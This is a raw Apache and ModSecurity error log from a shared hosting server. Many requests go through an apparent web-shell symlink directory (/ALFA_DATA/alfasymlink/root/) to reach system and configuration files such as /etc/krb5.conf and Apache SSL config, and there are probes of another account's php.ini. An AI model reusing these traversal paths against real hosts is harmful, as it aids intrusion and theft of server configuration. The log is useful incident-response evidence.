[Tue Oct 27 01:51:08.324479 2026] [security2:error] [pid 3170301:tid 3170301] [client 216.244.66.250:43366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/krb5.conf"] [unique_id "auA7zA67030o4-ZAUjLp5gAAAAg"]
[Tue Oct 27 01:51:22.167421 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 107.23.62.75:2488] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:51:26.147608 2026] [ssl:error] [pid 3171484:tid 3171484] (70014)End of file found: [client 44.221.37.41:27075] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:51:34.269974 2026] [ssl:error] [pid 3163247:tid 3163247] (5)Input/output error: [client 100.29.34.97:14897] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:51:50.154338 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 34.227.234.246:52732] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:51:54.136972 2026] [core:error] [pid 3169065:tid 3169065] (13)Permission denied: [client 52.44.174.136:42211] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu0/firmware_node/physical_node/subsystem/drivers_probe
[Tue Oct 27 01:51:56.584231 2026] [security2:error] [pid 3167556:tid 3167556] [client 107.172.76.131:58405] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA78ZJNzJDr1-fn9Pk5tgAAABA"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:51:56.584285 2026] [security2:error] [pid 3167556:tid 3167556] [client 107.172.76.131:58405] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA78ZJNzJDr1-fn9Pk5tgAAABA"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 01:51:58.255145 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 35.173.38.202:12102] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:52:02.148716 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.206.212.24:60017] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory16/node0/cpu1/power/"] [unique_id "auA8Asqawth2HP9RxtL-_gAAAAY"]
[Tue Oct 27 01:52:02.148798 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.206.212.24:60017] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory16/node0/cpu1/power/"] [unique_id "auA8Asqawth2HP9RxtL-_gAAAAY"]
[Tue Oct 27 01:52:06.326368 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 3.94.40.182:55335] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:52:14.286023 2026] [ssl:error] [pid 3169840:tid 3169840] (70014)End of file found: [client 52.205.113.104:28990] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:52:18.580458 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 54.83.23.103:29901] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:52:22.295605 2026] [core:error] [pid 3167840:tid 3167840] (13)Permission denied: [client 18.210.58.238:51690] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/ACPI0010:00/subsystem/drivers/ec/unbind
[Tue Oct 27 01:52:26.269716 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 54.197.178.107:32381] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:52:28.548538 2026] [core:error] [pid 3164823:tid 3164823] (13)Permission denied: [client 216.244.66.250:52914] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/recent_recipient_mail_server_ips
[Tue Oct 27 01:52:34.234098 2026] [core:error] [pid 3169840:tid 3169840] (13)Permission denied: [client 34.236.41.241:50782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0F13:00/physical_node/subsystem/drivers/system/uevent
[Tue Oct 27 01:52:42.043786 2026] [core:crit] [pid 3147513:tid 3147513] (13)Permission denied: [client 165.154.36.91:35820] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 01:52:42.180684 2026] [core:crit] [pid 3163247:tid 3163247] (13)Permission denied: [client 165.154.36.91:36074] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 01:52:42.317272 2026] [core:crit] [pid 3169840:tid 3169840] (13)Permission denied: [client 165.154.36.91:36156] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 01:52:42.457473 2026] [core:crit] [pid 3164823:tid 3164823] (13)Permission denied: [client 165.154.36.91:36244] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 01:52:42.595411 2026] [core:crit] [pid 3171484:tid 3171484] (13)Permission denied: [client 165.154.36.91:36330] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 01:52:43.006331 2026] [authz_core:error] [pid 3169915:tid 3169915] [client 165.154.36.91:36422] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:52:44.361185 2026] [core:crit] [pid 3163247:tid 3163247] (13)Permission denied: [client 165.154.36.91:37498] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 01:52:44.498903 2026] [core:crit] [pid 3169065:tid 3169065] (13)Permission denied: [client 165.154.36.91:37586] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 01:52:44.636326 2026] [core:crit] [pid 3169840:tid 3169840] (13)Permission denied: [client 165.154.36.91:37728] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 01:52:44.772717 2026] [core:crit] [pid 3164823:tid 3164823] (13)Permission denied: [client 165.154.36.91:37834] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 01:52:45.114265 2026] [authz_core:error] [pid 3171484:tid 3171484] [client 165.154.36.91:37962] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:52:47.082094 2026] [authz_core:error] [pid 3165579:tid 3165579] [client 165.154.36.91:39384] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:52:50.250297 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 54.85.7.119:40920] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:53:02.140632 2026] [core:error] [pid 3147513:tid 3147513] (13)Permission denied: [client 54.85.7.119:3011] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/new_id
[Tue Oct 27 01:53:04.512118 2026] [authz_core:error] [pid 3147513:tid 3147513] [client 23.22.243.211:11208] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:53:10.130967 2026] [core:error] [pid 3170301:tid 3170301] (13)Permission denied: [client 54.91.122.193:25050] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/QEMU0002:00/driver/unbind
[Tue Oct 27 01:53:38.373180 2026] [ssl:error] [pid 3171484:tid 3171484] (70014)End of file found: [client 3.215.59.93:14090] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:53:42.181462 2026] [ssl:error] [pid 3169840:tid 3169840] (70014)End of file found: [client 52.2.191.202:49393] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:53:52.809397 2026] [ssl:error] [pid 3171484:tid 3171484] (70014)End of file found: [client 18.214.124.6:29855] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:53:54.455672 2026] [ssl:error] [pid 3169073:tid 3169073] (70014)End of file found: [client 44.217.255.167:54991] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:54:02.145306 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 23.21.175.228:27008] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:54:03.265745 2026] [security2:error] [pid 3161716:tid 3161716] [client 107.172.76.131:58494] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA8bDFUCXw5mcVb_cpOfwAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 01:54:03.265805 2026] [security2:error] [pid 3161716:tid 3161716] [client 107.172.76.131:58494] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA8bDFUCXw5mcVb_cpOfwAAABI"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Tue Oct 27 01:54:06.141876 2026] [core:error] [pid 3170301:tid 3170301] (13)Permission denied: [client 184.73.47.24:37159] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/subsystem/devices/device:06/physical_node/resource0
[Tue Oct 27 01:54:18.147873 2026] [ssl:error] [pid 3167840:tid 3167840] (70014)End of file found: [client 3.220.148.166:54810] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:54:34.148984 2026] [ssl:error] [pid 3170301:tid 3170301] (70014)End of file found: [client 54.147.238.89:21806] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:54:38.338001 2026] [ssl:error] [pid 3167840:tid 3167840] (70014)End of file found: [client 54.163.169.168:45934] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:54:42.140600 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 52.71.203.206:42462] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:54:50.145271 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 34.231.45.47:49733] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:55:02.171800 2026] [ssl:error] [pid 3169840:tid 3169840] (70014)End of file found: [client 44.209.187.99:61500] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:55:14.659634 2026] [security2:error] [pid 3163247:tid 3163247] [client 76.35.62.77:24122] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/litforum/php56/clone.php"] [unique_id "auA8v8kspihs1DaBim1vcAAAAAE"]
[Tue Oct 27 01:55:14.659688 2026] [security2:error] [pid 3163247:tid 3163247] [client 76.35.62.77:24122] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/litforum/php56/clone.php"] [unique_id "auA8v8kspihs1DaBim1vcAAAAAE"]
[Tue Oct 27 01:55:22.139711 2026] [ssl:error] [pid 3169073:tid 3169073] (70014)End of file found: [client 35.172.125.172:31383] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:55:26.320546 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 52.5.232.250:18613] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:55:30.683093 2026] [ssl:error] [pid 3172645:tid 3172645] (70014)End of file found: [client 34.235.239.240:38839] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:55:34.340933 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 52.0.63.151:39033] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:55:46.318517 2026] [ssl:error] [pid 3171484:tid 3171484] (70014)End of file found: [client 52.204.81.148:58149] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:55:50.213305 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 44.194.139.149:10094] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:55:58.298245 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 50.19.79.213:55292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/firmware_node/subsystem/devices/device:06/physical_node/resource4
[Tue Oct 27 01:56:01.661223 2026] [security2:error] [pid 3165579:tid 3165579] [client 107.172.76.131:58549] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA85bkELKTp82asJdfdNAAAAAk"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 01:56:01.661267 2026] [security2:error] [pid 3165579:tid 3165579] [client 107.172.76.131:58549] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA85bkELKTp82asJdfdNAAAAAk"], referer: https://bases2.sherwinpinturas.com/beta.php
[Tue Oct 27 01:56:02.227049 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 44.223.232.55:57217] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:56:18.330299 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 54.210.152.179:53970] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:56:26.249800 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 23.23.103.31:53061] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:56:50.247455 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 34.205.163.103:61252] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:57:02.260794 2026] [ssl:error] [pid 3171484:tid 3171484] (70014)End of file found: [client 3.90.73.206:31707] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:57:07.113128 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 3.213.85.234:39875] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:57:10.698211 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 3.224.104.67:16149] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:57:14.465299 2026] [ssl:error] [pid 3167840:tid 3167840] (70014)End of file found: [client 3.222.85.38:18726] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:57:38.561598 2026] [ssl:error] [pid 3169073:tid 3169073] (70014)End of file found: [client 3.229.2.217:14024] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:57:50.496418 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 100.28.133.214:48328] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:57:54.349035 2026] [core:error] [pid 3165078:tid 3165078] (13)Permission denied: [client 100.25.120.246:33643] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/ttyS3/subsystem/tty10/subsystem/ttyS2/closing_wait
[Tue Oct 27 01:57:58.310108 2026] [ssl:error] [pid 3167840:tid 3167840] (70014)End of file found: [client 184.73.35.182:7220] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:58:02.606185 2026] [core:error] [pid 3169065:tid 3169065] (13)Permission denied: [client 184.73.195.18:40854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS1/irq
[Tue Oct 27 01:58:10.402883 2026] [ssl:error] [pid 3169840:tid 3169840] (70014)End of file found: [client 52.204.253.129:42526] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:58:18.349961 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 18.207.79.144:44622] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:58:19.858403 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 85.208.96.194:36610] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/store_user
[Tue Oct 27 01:58:22.914238 2026] [security2:error] [pid 3169840:tid 3169840] [client 16.216.88.126:36864] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/495_mod_ssl.conf"] [unique_id "auA9fskbbDK06qDUYmCo7gAAAAU"]
[Tue Oct 27 01:58:22.914673 2026] [security2:error] [pid 3169840:tid 3169840] [client 16.216.88.126:36864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/495_mod_ssl.conf"] [unique_id "auA9fskbbDK06qDUYmCo7gAAAAU"]
[Tue Oct 27 01:58:22.914980 2026] [security2:error] [pid 3169840:tid 3169840] [client 16.216.88.126:36864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/495_mod_ssl.conf"] [unique_id "auA9fskbbDK06qDUYmCo7gAAAAU"]
[Tue Oct 27 01:58:26.468030 2026] [core:error] [pid 3163247:tid 3163247] (13)Permission denied: [client 23.21.179.120:57551] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/bus/cpu/devices/cpu0/driver/cpu1/subsystem/drivers_probe
[Tue Oct 27 01:58:34.381374 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 3.89.176.255:45972] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:58:42.464030 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 52.23.112.144:34534] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:58:46.398637 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 3.217.82.254:35177] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:58:50.552700 2026] [ssl:error] [pid 3165333:tid 3165333] (70014)End of file found: [client 54.225.181.161:52225] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:58:54.545777 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 18.213.27.222:31008] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:59:02.573100 2026] [ssl:error] [pid 3167840:tid 3167840] (70014)End of file found: [client 44.223.116.180:2649] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:59:14.536840 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.71.216.196:34176] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:59:26.430846 2026] [ssl:error] [pid 3171484:tid 3171484] (70014)End of file found: [client 54.83.23.103:11654] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:59:32.220393 2026] [security2:error] [pid 3167526:tid 3167526] [client 107.172.76.131:58418] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA9uGCyNSR5NccyVY_iPQAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 01:59:32.220447 2026] [security2:error] [pid 3167526:tid 3167526] [client 107.172.76.131:58418] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auA9uGCyNSR5NccyVY_iPQAAAAA"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 01:59:46.530501 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 3.225.45.252:45257] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:59:50.566758 2026] [ssl:error] [pid 3169073:tid 3169073] (70014)End of file found: [client 52.54.249.218:37986] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:00:06.607358 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 98.83.177.42:19679] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:00:10.876302 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 54.235.191.179:65414] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:00:18.489697 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 52.4.238.8:25868] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:00:33.050487 2026] [security2:error] [pid 3165078:tid 3165078] [client 181.44.148.218:12681] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/commentics/php71/clone.php"] [unique_id "auA-AODxeK-aqIxlyYw4KgAAAAM"]
[Tue Oct 27 02:00:33.050538 2026] [security2:error] [pid 3165078:tid 3165078] [client 181.44.148.218:12681] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/commentics/php71/clone.php"] [unique_id "auA-AODxeK-aqIxlyYw4KgAAAAM"]
[Tue Oct 27 02:00:34.653207 2026] [ssl:error] [pid 3168752:tid 3168752] (70014)End of file found: [client 54.204.12.115:29255] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:00:42.546135 2026] [ssl:error] [pid 3167840:tid 3167840] (70014)End of file found: [client 34.233.114.237:54006] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:00:58.977761 2026] [ssl:error] [pid 3167556:tid 3167556] (70014)End of file found: [client 23.23.214.190:61296] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:01:02.763569 2026] [ssl:error] [pid 3167556:tid 3167556] (70014)End of file found: [client 98.84.200.43:42636] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:01:14.742328 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 52.3.156.186:49175] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:01:18.740514 2026] [ssl:error] [pid 3174286:tid 3174286] (5)Input/output error: [client 184.73.47.24:38981] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:01:26.844173 2026] [ssl:error] [pid 3161716:tid 3161716] (70014)End of file found: [client 44.205.180.155:61121] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:01:34.777406 2026] [ssl:error] [pid 3174303:tid 3174303] (70014)End of file found: [client 54.83.23.103:24953] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:01:42.846578 2026] [ssl:error] [pid 3174303:tid 3174303] (70014)End of file found: [client 54.235.172.108:32721] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:01:54.871548 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 184.73.239.35:7066] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:02:06.788528 2026] [ssl:error] [pid 3174303:tid 3174303] (70014)End of file found: [client 98.83.94.113:54695] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:02:27.112963 2026] [ssl:error] [pid 3167556:tid 3167556] (70014)End of file found: [client 23.21.250.48:8442] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:02:27.113192 2026] [security2:error] [pid 3167556:tid 3167556] [client 23.21.250.48:8442] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/mice/subsystem/input5/event4/device/subsystem/input5/name"] [unique_id "auA-c5JNzJDr1-fn9Pk55QAAABA"]
[Tue Oct 27 02:02:27.113216 2026] [security2:error] [pid 3167556:tid 3167556] [client 23.21.250.48:8442] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/mice/subsystem/input5/event4/device/subsystem/input5/name"] [unique_id "auA-c5JNzJDr1-fn9Pk55QAAABA"]
[Tue Oct 27 02:02:41.506872 2026] [core:error] [pid 3174428:tid 3174428] (13)Permission denied: [client 185.191.171.4:30406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-96/reclaim_account
[Tue Oct 27 02:02:58.875384 2026] [ssl:error] [pid 3167556:tid 3167556] (70014)End of file found: [client 54.144.185.255:9069] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:03:11.124344 2026] [ssl:error] [pid 3170301:tid 3170301] (5)Input/output error: [client 34.235.239.240:39322] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:03:19.038773 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 3.210.114.189:43515] AH02013: coalesce failed to read from data bucket
